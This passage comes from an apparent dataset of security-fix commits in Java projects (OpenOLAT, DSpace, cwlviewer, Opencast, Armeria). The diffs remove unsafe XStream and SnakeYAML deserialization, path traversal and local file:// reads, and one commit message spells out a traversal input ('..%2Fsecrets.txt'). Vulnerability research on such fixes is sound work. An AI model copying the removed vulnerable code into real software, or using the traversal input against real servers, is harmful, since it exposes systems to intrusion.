org.olat.modules.video.spi.youtube.YoutubeProvider;\n import org.olat.modules.video.spi.youtube.model.YoutubeMetadata;\n", "related": false}, {"section": "@@ -396,34 +393,6 @@ private VFSLeaf resolveFromMasterContainer(OLATResource videoResource, String pa\n \t\t}\n \t}\n \n-\t@Override\n-\tpublic boolean isMetadataFileValid(OLATResource videoResource) {\n-\t\tVFSContainer baseContainer = FileResourceManager.getInstance().getFileResourceRootImpl(videoResource);\n-\t\tVFSLeaf metaDataFile = (VFSLeaf) baseContainer.resolve(FILENAME_VIDEO_METADATA_XML);\n-\t\ttry {\n-\t\t\tVideoMetadata meta = (VideoMetadata) XStreamHelper.readObject(XStreamHelper.createXStreamInstance(), metaDataFile);\n-\t\t\treturn meta != null;\n-\t\t} catch (Exception e) {\n-\t\t\treturn false;\n-\t\t}\n-\t}\n-\n-\t@Override\n-\tpublic VideoMetadata readVideoMetadataFile(OLATResource videoResource){\n-\t\tVFSContainer baseContainer= FileResourceManager.getInstance().getFileResourceRootImpl(videoResource);\n-\t\tVFSLeaf metaDataFile = (VFSLeaf) baseContainer.resolve(FILENAME_VIDEO_METADATA_XML);\n-\t\ttry {\n-\t\t\treturn (VideoMetadata) XStreamHelper.readObject(XStreamHelper.createXStreamInstance(), metaDataFile);\n-\t\t} catch (Exception e) {\n-\t\t\tlog.error(\"Error while parsing XStream file for videoResource::{}\", videoResource, e);\n-\t\t\t// return an empty, so at least it displays something and not an error\n-\t\t\tVideoMetadata meta = new VideoMetadataImpl();\n-\t\t\tmeta.setWidth(800);\n-\t\t\tmeta.setHeight(600);\n-\t\t\treturn meta;\n-\t\t}\n-\t}\n-\n \t@Override\n \tpublic String toPodcastVideoUrl(String url) {\n \t\ttry {", "related": false}]} +{"owner": "openolat", "repo": "openolat", "language": "Java", "file_name": "src/main/java/org/olat/upgrade/OLATUpgrade_11_3_0.java", "commit_id": "3f219ac457afde82e3be57bc614352ab92c05684", "commit_message": "OO-5548: setup security of XStream by default", "patch": "@@ -33,11 +33,14 @@\n import org.olat.core.util.vfs.VFSItem;\n import org.olat.core.util.vfs.VFSLeaf;\n import org.olat.core.util.vfs.VFSManager;\n+import org.olat.core.util.xml.XStreamHelper;\n+import org.olat.fileresource.FileResourceManager;\n import org.olat.fileresource.types.VideoFileResource;\n import org.olat.modules.video.VideoManager;\n import org.olat.modules.video.VideoMetadata;\n import org.olat.modules.video.manager.VideoManagerImpl;\n import org.olat.modules.video.model.VideoMetaImpl;\n+import org.olat.modules.video.model.VideoMetadataImpl;\n import org.olat.repository.RepositoryEntry;\n import org.olat.resource.OLATResource;\n import org.springframework.beans.factory.annotation.Autowired;\n@@ -51,6 +54,8 @@\n public class OLATUpgrade_11_3_0 extends OLATUpgrade {\n \n \tprivate static final Logger log = Tracing.createLoggerFor(OLATUpgrade_11_3_0.class);\n+\n+\tprivate static final String FILENAME_VIDEO_METADATA_XML = \"video_metadata.xml\";\n \t\n \tprivate static final String VIDEO_XML = \"VIDEO XML\";\n \tprivate static final String VERSION = \"OLAT_11.3.0\";\n@@ -120,8 +125,8 @@ private boolean processVideoResource(RepositoryEntry entry) {\n \t\t\t}\n \t\t\t// update track files on file system\n \t\t\tVFSContainer masterContainer = videoManager.getMasterContainer(videoResource);\n-\t\t\tif (videoManager.isMetadataFileValid(videoResource)) {\n-\t\t\t\tVideoMetadata metafromXML = videoManager.readVideoMetadataFile(videoResource);\n+\t\t\tif (isMetadataFileValid(videoResource)) {\n+\t\t\t\tVideoMetadata metafromXML = readVideoMetadataFile(videoResource);\n \t\t\t\tfor (Entry track : metafromXML.getAllTracks().entrySet()) {\n \t\t\t\t\tVFSItem item = masterContainer.resolve(track.getValue());\n \t\t\t\t\tif (item != null && item instanceof VFSLeaf) {\n@@ -165,4 +170,30 @@ private boolean processVideoResource(RepositoryEntry entry) {\n \t\t\treturn false;\n \t\t}\n \t}\n+\t\n+\tprivate boolean isMetadataFileValid(OLATResource videoResource) {\n+\t\tVFSContainer baseContainer = FileResourceManager.getInstance().getFileResourceRootImpl(videoResource);\n+\t\tVFSLeaf metaDataFile = (VFSLeaf) baseContainer.resolve(FILENAME_VIDEO_METADATA_XML);\n+\t\ttry {\n+\t\t\tVideoMetadata meta = (VideoMetadata) XStreamHelper.readObject(XStreamHelper.createXStreamInstance(), metaDataFile);\n+\t\t\treturn meta != null;\n+\t\t} catch (Exception e) {\n+\t\t\treturn false;\n+\t\t}\n+\t}\n+\t\n+\tprivate VideoMetadata readVideoMetadataFile(OLATResource videoResource){\n+\t\tVFSContainer baseContainer= FileResourceManager.getInstance().getFileResourceRootImpl(videoResource);\n+\t\tVFSLeaf metaDataFile = (VFSLeaf) baseContainer.resolve(FILENAME_VIDEO_METADATA_XML);\n+\t\ttry {\n+\t\t\treturn (VideoMetadata) XStreamHelper.readObject(XStreamHelper.createXStreamInstance(), metaDataFile);\n+\t\t} catch (Exception e) {\n+\t\t\tlog.error(\"Error while parsing XStream file for videoResource::{}\", videoResource, e);\n+\t\t\t// return an empty, so at least it displays something and not an error\n+\t\t\tVideoMetadata meta = new VideoMetadataImpl();\n+\t\t\tmeta.setWidth(800);\n+\t\t\tmeta.setHeight(600);\n+\t\t\treturn meta;\n+\t\t}\n+\t}\n }", "sections": [{"section": "@@ -33,11 +33,14 @@\n import org.olat.core.util.vfs.VFSItem;\n import org.olat.core.util.vfs.VFSLeaf;\n import org.olat.core.util.vfs.VFSManager;\n+import org.olat.core.util.xml.XStreamHelper;\n+import org.olat.fileresource.FileResourceManager;\n import org.olat.fileresource.types.VideoFileResource;\n import org.olat.modules.video.VideoManager;\n import org.olat.modules.video.VideoMetadata;\n import org.olat.modules.video.manager.VideoManagerImpl;\n import org.olat.modules.video.model.VideoMetaImpl;\n+import org.olat.modules.video.model.VideoMetadataImpl;\n import org.olat.repository.RepositoryEntry;\n import org.olat.resource.OLATResource;\n import org.springframework.beans.factory.annotation.Autowired;\n", "related": false}, {"section": "@@ -51,6 +54,8 @@\n public class OLATUpgrade_11_3_0 extends OLATUpgrade {\n \n \tprivate static final Logger log = Tracing.createLoggerFor(OLATUpgrade_11_3_0.class);\n+\n+\tprivate static final String FILENAME_VIDEO_METADATA_XML = \"video_metadata.xml\";\n \t\n \tprivate static final String VIDEO_XML = \"VIDEO XML\";\n \tprivate static final String VERSION = \"OLAT_11.3.0\";\n", "related": false}, {"section": "@@ -120,8 +125,8 @@ private boolean processVideoResource(RepositoryEntry entry) {\n \t\t\t}\n \t\t\t// update track files on file system\n \t\t\tVFSContainer masterContainer = videoManager.getMasterContainer(videoResource);\n-\t\t\tif (videoManager.isMetadataFileValid(videoResource)) {\n-\t\t\t\tVideoMetadata metafromXML = videoManager.readVideoMetadataFile(videoResource);\n+\t\t\tif (isMetadataFileValid(videoResource)) {\n+\t\t\t\tVideoMetadata metafromXML = readVideoMetadataFile(videoResource);\n \t\t\t\tfor (Entry track : metafromXML.getAllTracks().entrySet()) {\n \t\t\t\t\tVFSItem item = masterContainer.resolve(track.getValue());\n \t\t\t\t\tif (item != null && item instanceof VFSLeaf) {\n", "related": false}, {"section": "@@ -165,4 +170,30 @@ private boolean processVideoResource(RepositoryEntry entry) {\n \t\t\treturn false;\n \t\t}\n \t}\n+\t\n+\tprivate boolean isMetadataFileValid(OLATResource videoResource) {\n+\t\tVFSContainer baseContainer = FileResourceManager.getInstance().getFileResourceRootImpl(videoResource);\n+\t\tVFSLeaf metaDataFile = (VFSLeaf) baseContainer.resolve(FILENAME_VIDEO_METADATA_XML);\n+\t\ttry {\n+\t\t\tVideoMetadata meta = (VideoMetadata) XStreamHelper.readObject(XStreamHelper.createXStreamInstance(), metaDataFile);\n+\t\t\treturn meta != null;\n+\t\t} catch (Exception e) {\n+\t\t\treturn false;\n+\t\t}\n+\t}\n+\t\n+\tprivate VideoMetadata readVideoMetadataFile(OLATResource videoResource){\n+\t\tVFSContainer baseContainer= FileResourceManager.getInstance().getFileResourceRootImpl(videoResource);\n+\t\tVFSLeaf metaDataFile = (VFSLeaf) baseContainer.resolve(FILENAME_VIDEO_METADATA_XML);\n+\t\ttry {\n+\t\t\treturn (VideoMetadata) XStreamHelper.readObject(XStreamHelper.createXStreamInstance(), metaDataFile);\n+\t\t} catch (Exception e) {\n+\t\t\tlog.error(\"Error while parsing XStream file for videoResource::{}\", videoResource, e);\n+\t\t\t// return an empty, so at least it displays something and not an error\n+\t\t\tVideoMetadata meta = new VideoMetadataImpl();\n+\t\t\tmeta.setWidth(800);\n+\t\t\tmeta.setHeight(600);\n+\t\t\treturn meta;\n+\t\t}\n+\t}\n }", "related": false}]} +{"owner": "openolat", "repo": "openolat", "language": "Java", "file_name": "src/test/java/org/olat/core/util/xml/XStreamHelperTest.java", "commit_id": "3f219ac457afde82e3be57bc614352ab92c05684", "commit_message": "OO-5548: setup security of XStream by default", "patch": "@@ -0,0 +1,84 @@\n+/**\n+ * \n+ * OpenOLAT - Online Learning and Training
\n+ *

\n+ * Licensed under the Apache License, Version 2.0 (the \"License\");
\n+ * you may not use this file except in compliance with the License.
\n+ * You may obtain a copy of the License at the\n+ * Apache homepage\n+ *

\n+ * Unless required by applicable law or agreed to in writing,
\n+ * software distributed under the License is distributed on an \"AS IS\" BASIS,
\n+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
\n+ * See the License for the specific language governing permissions and
\n+ * limitations under the License.\n+ *

\n+ * Initial code contributed and copyrighted by
\n+ * frentix GmbH, http://www.frentix.com\n+ *

\n+ */\n+package org.olat.core.util.xml;\n+\n+import java.io.File;\n+import java.net.URISyntaxException;\n+import java.net.URL;\n+\n+import org.junit.Assert;\n+import org.junit.Test;\n+import org.olat.core.logging.OLATRuntimeException;\n+\n+import com.thoughtworks.xstream.converters.ConversionException;\n+\n+/**\n+ * \n+ * Initial date: 18 juin 2021
\n+ * @author srosse, stephane.rosse@frentix.com, http://www.frentix.com\n+ *\n+ */\n+public class XStreamHelperTest {\n+\t\n+\t@Test\n+\tpublic void readXmlMapAllowed() throws URISyntaxException {\n+\t\tURL url = XStreamHelperTest.class.getResource(\"xstream_map_strings.xml\");\n+\t\tFile file = new File(url.toURI());\n+\t\tObject obj = XStreamHelper.createXStreamInstance().fromXML(file);\n+\t\tAssert.assertNotNull(obj);\n+\t}\n+\t\n+\t@Test\n+\tpublic void readXmlMapDbObjectsAllowed() throws URISyntaxException {\n+\t\tURL url = XStreamHelperTest.class.getResource(\"xstream_map_strings.xml\");\n+\t\tFile file = new File(url.toURI());\n+\t\tObject obj = XStreamHelper.createXStreamInstanceForDBObjects().fromXML(file);\n+\t\tAssert.assertNotNull(obj);\n+\t}\n+\t\n+\t@Test\n+\tpublic void readXmlMapUnconfiguredAllowed() throws URISyntaxException {\n+\t\tURL url = XStreamHelperTest.class.getResource(\"xstream_map_strings.xml\");\n+\t\tFile file = new File(url.toURI());\n+\t\tObject obj = XStreamHelper.readObject(file);\n+\t\tAssert.assertNotNull(obj);\n+\t}\n+\n+\t@Test(expected = ConversionException.class)\n+\tpublic void readXmlMapNotAllowed() throws URISyntaxException {\n+\t\tURL url = XStreamHelperTest.class.getResource(\"xstream_map_alien.xml\");\n+\t\tFile file = new File(url.toURI());\n+\t\tXStreamHelper.createXStreamInstance().fromXML(file);\n+\t}\n+\t\n+\t@Test(expected = ConversionException.class)\n+\tpublic void readXmlMapDbObjectsNotAllowed() throws URISyntaxException {\n+\t\tURL url = XStreamHelperTest.class.getResource(\"xstream_map_alien.xml\");\n+\t\tFile file = new File(url.toURI());\n+\t\tXStreamHelper.createXStreamInstanceForDBObjects().fromXML(file);\n+\t}\n+\t\n+\t@Test(expected = OLATRuntimeException.class)\n+\tpublic void readXmlMapUnconfiguredNotAllowed() throws URISyntaxException {\n+\t\tURL url = XStreamHelperTest.class.getResource(\"xstream_map_alien.xml\");\n+\t\tFile file = new File(url.toURI());\n+\t\tXStreamHelper.readObject(file);\n+\t}\n+}", "sections": [{"section": "@@ -0,0 +1,84 @@\n+/**\n+ * \n+ * OpenOLAT - Online Learning and Training
\n+ *

\n+ * Licensed under the Apache License, Version 2.0 (the \"License\");
\n+ * you may not use this file except in compliance with the License.
\n+ * You may obtain a copy of the License at the\n+ * Apache homepage\n+ *

\n+ * Unless required by applicable law or agreed to in writing,
\n+ * software distributed under the License is distributed on an \"AS IS\" BASIS,
\n+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
\n+ * See the License for the specific language governing permissions and
\n+ * limitations under the License.\n+ *

\n+ * Initial code contributed and copyrighted by
\n+ * frentix GmbH, http://www.frentix.com\n+ *

\n+ */\n+package org.olat.core.util.xml;\n+\n+import java.io.File;\n+import java.net.URISyntaxException;\n+import java.net.URL;\n+\n+import org.junit.Assert;\n+import org.junit.Test;\n+import org.olat.core.logging.OLATRuntimeException;\n+\n+import com.thoughtworks.xstream.converters.ConversionException;\n+\n+/**\n+ * \n+ * Initial date: 18 juin 2021
\n+ * @author srosse, stephane.rosse@frentix.com, http://www.frentix.com\n+ *\n+ */\n+public class XStreamHelperTest {\n+\t\n+\t@Test\n+\tpublic void readXmlMapAllowed() throws URISyntaxException {\n+\t\tURL url = XStreamHelperTest.class.getResource(\"xstream_map_strings.xml\");\n+\t\tFile file = new File(url.toURI());\n+\t\tObject obj = XStreamHelper.createXStreamInstance().fromXML(file);\n+\t\tAssert.assertNotNull(obj);\n+\t}\n+\t\n+\t@Test\n+\tpublic void readXmlMapDbObjectsAllowed() throws URISyntaxException {\n+\t\tURL url = XStreamHelperTest.class.getResource(\"xstream_map_strings.xml\");\n+\t\tFile file = new File(url.toURI());\n+\t\tObject obj = XStreamHelper.createXStreamInstanceForDBObjects().fromXML(file);\n+\t\tAssert.assertNotNull(obj);\n+\t}\n+\t\n+\t@Test\n+\tpublic void readXmlMapUnconfiguredAllowed() throws URISyntaxException {\n+\t\tURL url = XStreamHelperTest.class.getResource(\"xstream_map_strings.xml\");\n+\t\tFile file = new File(url.toURI());\n+\t\tObject obj = XStreamHelper.readObject(file);\n+\t\tAssert.assertNotNull(obj);\n+\t}\n+\n+\t@Test(expected = ConversionException.class)\n+\tpublic void readXmlMapNotAllowed() throws URISyntaxException {\n+\t\tURL url = XStreamHelperTest.class.getResource(\"xstream_map_alien.xml\");\n+\t\tFile file = new File(url.toURI());\n+\t\tXStreamHelper.createXStreamInstance().fromXML(file);\n+\t}\n+\t\n+\t@Test(expected = ConversionException.class)\n+\tpublic void readXmlMapDbObjectsNotAllowed() throws URISyntaxException {\n+\t\tURL url = XStreamHelperTest.class.getResource(\"xstream_map_alien.xml\");\n+\t\tFile file = new File(url.toURI());\n+\t\tXStreamHelper.createXStreamInstanceForDBObjects().fromXML(file);\n+\t}\n+\t\n+\t@Test(expected = OLATRuntimeException.class)\n+\tpublic void readXmlMapUnconfiguredNotAllowed() throws URISyntaxException {\n+\t\tURL url = XStreamHelperTest.class.getResource(\"xstream_map_alien.xml\");\n+\t\tFile file = new File(url.toURI());\n+\t\tXStreamHelper.readObject(file);\n+\t}\n+}", "related": false}]} +{"owner": "dspace", "repo": "dspace", "language": "Java", "file_name": "dspace-api/src/main/java/org/dspace/eperson/GroupServiceImpl.java", "commit_id": "277b499a5cd3a4f5eb2370513a1b7e4ec2a6e041", "commit_message": "Fix for GHSA-cf2j-vf36-c6w8", "patch": "@@ -15,6 +15,7 @@\n import java.util.List;\n import java.util.Map;\n import java.util.Objects;\n+import java.util.Optional;\n import java.util.Set;\n import java.util.UUID;\n \n@@ -735,13 +736,24 @@ public DSpaceObject getParentObject(Context context, Group group) throws SQLExce\n groups.add(group);\n List policies = resourcePolicyService.find(context, null, groups,\n Constants.DEFAULT_ITEM_READ, Constants.COLLECTION);\n- if (policies.size() > 0) {\n- return policies.get(0).getdSpaceObject();\n+\n+ Optional defaultPolicy = policies.stream().filter(p -> StringUtils.equals(\n+ collectionService.getDefaultReadGroupName((Collection) p.getdSpaceObject(), \"ITEM\"),\n+ group.getName())).findFirst();\n+\n+ if (defaultPolicy.isPresent()) {\n+ return defaultPolicy.get().getdSpaceObject();\n }\n policies = resourcePolicyService.find(context, null, groups,\n Constants.DEFAULT_BITSTREAM_READ, Constants.COLLECTION);\n- if (policies.size() > 0) {\n- return policies.get(0).getdSpaceObject();\n+\n+ defaultPolicy = policies.stream()\n+ .filter(p -> StringUtils.equals(collectionService.getDefaultReadGroupName(\n+ (Collection) p.getdSpaceObject(), \"BITSTREAM\"), group.getName()))\n+ .findFirst();\n+\n+ if (defaultPolicy.isPresent()) {\n+ return defaultPolicy.get().getdSpaceObject();\n }\n }\n }", "sections": [{"section": "@@ -15,6 +15,7 @@\n import java.util.List;\n import java.util.Map;\n import java.util.Objects;\n+import java.util.Optional;\n import java.util.Set;\n import java.util.UUID;\n \n", "related": false}, {"section": "@@ -735,13 +736,24 @@ public DSpaceObject getParentObject(Context context, Group group) throws SQLExce\n groups.add(group);\n List policies = resourcePolicyService.find(context, null, groups,\n Constants.DEFAULT_ITEM_READ, Constants.COLLECTION);\n- if (policies.size() > 0) {\n- return policies.get(0).getdSpaceObject();\n+\n+ Optional defaultPolicy = policies.stream().filter(p -> StringUtils.equals(\n+ collectionService.getDefaultReadGroupName((Collection) p.getdSpaceObject(), \"ITEM\"),\n+ group.getName())).findFirst();\n+\n+ if (defaultPolicy.isPresent()) {\n+ return defaultPolicy.get().getdSpaceObject();\n }\n policies = resourcePolicyService.find(context, null, groups,\n Constants.DEFAULT_BITSTREAM_READ, Constants.COLLECTION);\n- if (policies.size() > 0) {\n- return policies.get(0).getdSpaceObject();\n+\n+ defaultPolicy = policies.stream()\n+ .filter(p -> StringUtils.equals(collectionService.getDefaultReadGroupName(\n+ (Collection) p.getdSpaceObject(), \"BITSTREAM\"), group.getName()))\n+ .findFirst();\n+\n+ if (defaultPolicy.isPresent()) {\n+ return defaultPolicy.get().getdSpaceObject();\n }\n }\n }", "related": false}]} +{"owner": "openolat", "repo": "openolat", "language": "Java", "file_name": "src/main/java/org/olat/core/commons/modules/bc/commands/CmdDownloadZip.java", "commit_id": "418bb509ffcb0e25ab4390563c6c47f0458583eb", "commit_message": "OO-5696: validate file selections against current container", "patch": "@@ -70,15 +70,15 @@ public Controller execute(FolderComponent folderComponent, UserRequest ureq, Win\n \t\t\treturn null;\n \t\t}\n \t\n-\t\tFileSelection selection = new FileSelection(ureq, folderComponent.getCurrentContainerPath());\n+\t\tFileSelection selection = new FileSelection(ureq, folderComponent.getCurrentContainer(), folderComponent.getCurrentContainerPath());\n \t\tstatus = FolderCommandHelper.sanityCheck3(wControl, folderComponent, selection);\n \t\tif(status == FolderCommandStatus.STATUS_FAILED) {\n \t\t\treturn null;\n \t\t}\n \t\t\n \t\tif(selection.getFiles().isEmpty()) {\n \t\t\tstatus = FolderCommandStatus.STATUS_FAILED;\n-\t\t\twControl.setWarning(trans.translate(\"warning.file.selection.empty\"));\n+\t\t\twControl.setWarning(trans.translate(\"warning.file.selection.empty22\"));\n \t\t\treturn null;\n \t\t}\n \t\t", "sections": [{"section": "@@ -70,15 +70,15 @@ public Controller execute(FolderComponent folderComponent, UserRequest ureq, Win\n \t\t\treturn null;\n \t\t}\n \t\n-\t\tFileSelection selection = new FileSelection(ureq, folderComponent.getCurrentContainerPath());\n+\t\tFileSelection selection = new FileSelection(ureq, folderComponent.getCurrentContainer(), folderComponent.getCurrentContainerPath());\n \t\tstatus = FolderCommandHelper.sanityCheck3(wControl, folderComponent, selection);\n \t\tif(status == FolderCommandStatus.STATUS_FAILED) {\n \t\t\treturn null;\n \t\t}\n \t\t\n \t\tif(selection.getFiles().isEmpty()) {\n \t\t\tstatus = FolderCommandStatus.STATUS_FAILED;\n-\t\t\twControl.setWarning(trans.translate(\"warning.file.selection.empty\"));\n+\t\t\twControl.setWarning(trans.translate(\"warning.file.selection.empty22\"));\n \t\t\treturn null;\n \t\t}\n \t\t", "related": false}]} +{"owner": "common-workflow-language", "repo": "cwlviewer", "language": "Java", "file_name": "src/main/java/org/commonwl/view/cwl/CWLService.java", "commit_id": "f6066f09edb70033a2ce80200e9fa9e70a5c29de", "commit_message": "Use Yaml SafeConstructor (#355)", "patch": "@@ -64,6 +64,7 @@\n import com.fasterxml.jackson.databind.node.ArrayNode;\n import com.fasterxml.jackson.databind.node.ObjectNode;\n import com.fasterxml.jackson.databind.node.TextNode;\n+import org.yaml.snakeyaml.constructor.SafeConstructor;\n \n /**\n * Provides CWL parsing for workflows to gather an overview\n@@ -602,10 +603,8 @@ private String typeURIToString(String uri) {\n * @throws IOException \n */\n private JsonNode yamlPathToJson(Path path) throws IOException {\n- Yaml reader = new Yaml();\n+ Yaml reader = new Yaml(new SafeConstructor());\n ObjectMapper mapper = new ObjectMapper();\n- Path p;\n- \n try (InputStream in = Files.newInputStream(path)) {\n \treturn mapper.valueToTree(reader.load(in));\n }\n@@ -618,7 +617,7 @@ private JsonNode yamlPathToJson(Path path) throws IOException {\n * @return A JsonNode with the content of the document\n */\n private JsonNode yamlStreamToJson(InputStream yamlStream) {\n- Yaml reader = new Yaml();\n+ Yaml reader = new Yaml(new SafeConstructor());\n ObjectMapper mapper = new ObjectMapper();\n \t\treturn mapper.valueToTree(reader.load(yamlStream));\n }", "sections": [{"section": "@@ -64,6 +64,7 @@\n import com.fasterxml.jackson.databind.node.ArrayNode;\n import com.fasterxml.jackson.databind.node.ObjectNode;\n import com.fasterxml.jackson.databind.node.TextNode;\n+import org.yaml.snakeyaml.constructor.SafeConstructor;\n \n /**\n * Provides CWL parsing for workflows to gather an overview\n", "related": false}, {"section": "@@ -602,10 +603,8 @@ private String typeURIToString(String uri) {\n * @throws IOException \n */\n private JsonNode yamlPathToJson(Path path) throws IOException {\n- Yaml reader = new Yaml();\n+ Yaml reader = new Yaml(new SafeConstructor());\n ObjectMapper mapper = new ObjectMapper();\n- Path p;\n- \n try (InputStream in = Files.newInputStream(path)) {\n \treturn mapper.valueToTree(reader.load(in));\n }\n", "related": true}, {"section": "@@ -618,7 +617,7 @@ private JsonNode yamlPathToJson(Path path) throws IOException {\n * @return A JsonNode with the content of the document\n */\n private JsonNode yamlStreamToJson(InputStream yamlStream) {\n- Yaml reader = new Yaml();\n+ Yaml reader = new Yaml(new SafeConstructor());\n ObjectMapper mapper = new ObjectMapper();\n \t\treturn mapper.valueToTree(reader.load(yamlStream));\n }", "related": true}]} +{"owner": "opencast", "repo": "opencast", "language": "Java", "file_name": "modules/ingest-service-impl/src/main/java/org/opencastproject/ingest/impl/IngestServiceImpl.java", "commit_id": "65c46b9d3e8f045c544881059923134571897764", "commit_message": "Merge pull request from GHSA-59g4-hpg3-3gcp\n\nEnsure local files are not addable", "patch": "@@ -315,6 +315,8 @@ public class IngestServiceImpl extends AbstractJobProducer implements IngestServ\n private boolean skipCatalogs = DEFAULT_SKIP;\n private boolean skipAttachments = DEFAULT_SKIP;\n \n+ protected boolean testMode = false;\n+\n /**\n * Creates a new ingest service instance.\n */\n@@ -1601,8 +1603,11 @@ protected URI addContentToRepo(MediaPackage mp, String elementId, URI uri) throw\n throw new IOException(uri + \" returns http \" + httpStatusCode);\n }\n in = response.getEntity().getContent();\n- } else {\n+ //If it does not start with file, or we're in test mode (ie, to allow arbitrary file:// access)\n+ } else if (!uri.toString().startsWith(\"file\") || testMode) {\n in = uri.toURL().openStream();\n+ } else {\n+ throw new IOException(\"Refusing to fetch files from the local filesystem\");\n }\n String fileName = FilenameUtils.getName(uri.getPath());\n if (isBlank(FilenameUtils.getExtension(fileName)))", "sections": [{"section": "@@ -315,6 +315,8 @@ public class IngestServiceImpl extends AbstractJobProducer implements IngestServ\n private boolean skipCatalogs = DEFAULT_SKIP;\n private boolean skipAttachments = DEFAULT_SKIP;\n \n+ protected boolean testMode = false;\n+\n /**\n * Creates a new ingest service instance.\n */\n", "related": false}, {"section": "@@ -1601,8 +1603,11 @@ protected URI addContentToRepo(MediaPackage mp, String elementId, URI uri) throw\n throw new IOException(uri + \" returns http \" + httpStatusCode);\n }\n in = response.getEntity().getContent();\n- } else {\n+ //If it does not start with file, or we're in test mode (ie, to allow arbitrary file:// access)\n+ } else if (!uri.toString().startsWith(\"file\") || testMode) {\n in = uri.toURL().openStream();\n+ } else {\n+ throw new IOException(\"Refusing to fetch files from the local filesystem\");\n }\n String fileName = FilenameUtils.getName(uri.getPath());\n if (isBlank(FilenameUtils.getExtension(fileName)))", "related": false}]} +{"owner": "openolat", "repo": "openolat", "language": "Java", "file_name": "src/main/java/org/olat/restapi/support/MultipartReader.java", "commit_id": "c450df7d7ffe6afde39ebca6da9136f1caa16ec4", "commit_message": "OO-5819: container can only create file in its own path", "patch": "@@ -58,7 +58,7 @@ private final void servlet31(HttpServletRequest request) {\n \t\t\t\tif(part.getContentType() != null && (StringHelper.containsNonWhitespace(part.getSubmittedFileName()) || !part.getContentType().startsWith(\"text/plain\"))) {\n \t\t\t\t\tcontentType = part.getContentType();\n \t\t\t\t\tfilename = part.getSubmittedFileName();\n-\t\t\t\t\tif(filename != null) {\n+\t\t\t\t\tif(filename != null && !filename.contains(\"..\")) {\n \t\t\t\t\t\tfilename = UUID.randomUUID().toString().replace(\"-\", \"\") + \"_\" + filename;\n \t\t\t\t\t} else {\n \t\t\t\t\t\tfilename = \"upload-\" + UUID.randomUUID().toString().replace(\"-\", \"\");", "sections": [{"section": "@@ -58,7 +58,7 @@ private final void servlet31(HttpServletRequest request) {\n \t\t\t\tif(part.getContentType() != null && (StringHelper.containsNonWhitespace(part.getSubmittedFileName()) || !part.getContentType().startsWith(\"text/plain\"))) {\n \t\t\t\t\tcontentType = part.getContentType();\n \t\t\t\t\tfilename = part.getSubmittedFileName();\n-\t\t\t\t\tif(filename != null) {\n+\t\t\t\t\tif(filename != null && !filename.contains(\"..\")) {\n \t\t\t\t\t\tfilename = UUID.randomUUID().toString().replace(\"-\", \"\") + \"_\" + filename;\n \t\t\t\t\t} else {\n \t\t\t\t\t\tfilename = \"upload-\" + UUID.randomUUID().toString().replace(\"-\", \"\");", "related": false}]} +{"owner": "line", "repo": "armeria", "language": "Java", "file_name": "core/src/test/java/com/linecorp/armeria/internal/common/ArmeriaHttpUtilTest.java", "commit_id": "e2697a575e9df6692b423e02d731f293c1313284", "commit_message": "Merge pull request from GHSA-8fp4-rp6c-5gcv\n\nMotivation:\n\n- We changed how `PathAndQuery` handles `%2F` (/) in 1.12.0 via #3855.\n This change introduces an unexpected hole in its double-dot detection\n logic.\n- Since we decided not to decode `%2F`, we should not decode it\n whereever possible.\n\nModifications:\n\n- Hardened the double-dot detection logic in `PathAndQuery`.\n- `Bytes.data` now always store the bytes in their decoded form. We keep\n whether the byte has to be encoded in a separate `BitSet`.\n- Split `ArmeriaHttpUtil.decodePath()` into `decodePath()` and\n `decodePathParam()`.\n - We don't decode `%2F` in `decodePath()` but we do in\n `decodePathParam()`.\n - `RoutingResultBuilder.rawParam()` now uses `decodePathParam()`\n because `decodePath()` doesn't decode `%2F` anymore.\n\nResult:\n\n- A path that contains double dots with `%2F`, such as\n `/files/..%2Fsecrets.txt`, are now rejected correctly.", "patch": "@@ -35,8 +35,11 @@\n import java.util.List;\n import java.util.Map;\n import java.util.function.BiConsumer;\n+import java.util.function.Function;\n \n import org.junit.jupiter.api.Test;\n+import org.junit.jupiter.params.ParameterizedTest;\n+import org.junit.jupiter.params.provider.CsvSource;\n \n import com.google.common.collect.ImmutableList;\n \n@@ -89,21 +92,36 @@ void testConcatPaths() throws Exception {\n assertThat(concatPaths(\"/a/\", \"?foo=bar\")).isEqualTo(\"/a/?foo=bar\");\n }\n \n- @Test\n- void testDecodePath() throws Exception {\n+ @ParameterizedTest\n+ @CsvSource({ \"true\", \"false\" })\n+ void testDecodePath(boolean isPathParam) throws Exception {\n+ final Function decodeFunc;\n+ if (isPathParam) {\n+ decodeFunc = ArmeriaHttpUtil::decodePathParam;\n+ } else {\n+ decodeFunc = ArmeriaHttpUtil::decodePath;\n+ }\n+\n // Fast path\n final String pathThatDoesNotNeedDecode = \"/foo_bar_baz\";\n- assertThat(decodePath(pathThatDoesNotNeedDecode)).isSameAs(pathThatDoesNotNeedDecode);\n+ assertThat(decodeFunc.apply(pathThatDoesNotNeedDecode)).isSameAs(pathThatDoesNotNeedDecode);\n \n // Slow path\n- assertThat(decodePath(\"/foo%20bar\\u007fbaz\")).isEqualTo(\"/foo bar\\u007fbaz\");\n- assertThat(decodePath(\"/%C2%A2\")).isEqualTo(\"/¢\"); // Valid UTF-8 sequence\n- assertThat(decodePath(\"/%20\\u0080\")).isEqualTo(\"/ �\"); // Unallowed character\n- assertThat(decodePath(\"/%\")).isEqualTo(\"/�\"); // No digit\n- assertThat(decodePath(\"/%1\")).isEqualTo(\"/�\"); // Only a single digit\n- assertThat(decodePath(\"/%G0\")).isEqualTo(\"/�\"); // First digit is not hex.\n- assertThat(decodePath(\"/%0G\")).isEqualTo(\"/�\"); // Second digit is not hex.\n- assertThat(decodePath(\"/%C3%28\")).isEqualTo(\"/�(\"); // Invalid UTF-8 sequence\n+ assertThat(decodeFunc.apply(\"/foo%20bar\\u007fbaz\")).isEqualTo(\"/foo bar\\u007fbaz\");\n+ assertThat(decodeFunc.apply(\"/%C2%A2\")).isEqualTo(\"/¢\"); // Valid UTF-8 sequence\n+ assertThat(decodeFunc.apply(\"/%20\\u0080\")).isEqualTo(\"/ �\"); // Unallowed character\n+ assertThat(decodeFunc.apply(\"/%\")).isEqualTo(\"/�\"); // No digit\n+ assertThat(decodeFunc.apply(\"/%1\")).isEqualTo(\"/�\"); // Only a single digit\n+ assertThat(decodeFunc.apply(\"/%G0\")).isEqualTo(\"/�\"); // First digit is not hex.\n+ assertThat(decodeFunc.apply(\"/%0G\")).isEqualTo(\"/�\"); // Second digit is not 